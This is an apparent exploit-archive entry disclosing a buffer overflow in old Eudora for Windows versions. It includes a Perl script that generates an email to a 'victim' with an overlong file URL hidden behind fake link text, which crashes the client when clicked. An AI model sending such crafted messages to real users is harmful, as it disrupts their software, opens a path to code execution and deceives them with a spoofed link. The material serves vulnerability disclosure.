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eudoraURL.txt

eudoraURL.txt
Posted May 9, 2004
Authored by Paul Szabo

Eudora for windows has a buffer overflow in versions 6.1, 6.0.3, and 5.2.1. Sample exploitation included.

tags | exploit, overflow
systems | windows
SHA-256 | e1c845825eb5408eef5c7fae221f1e6a0db42ab375456108da90f20b60b04384

eudoraURL.txt

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There is a buffer overflow in Eudora for Windows, verified on versions
6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code.
I do not know if this issue affects Eudora for Macs.

Demo:

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n";

Cheers,

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
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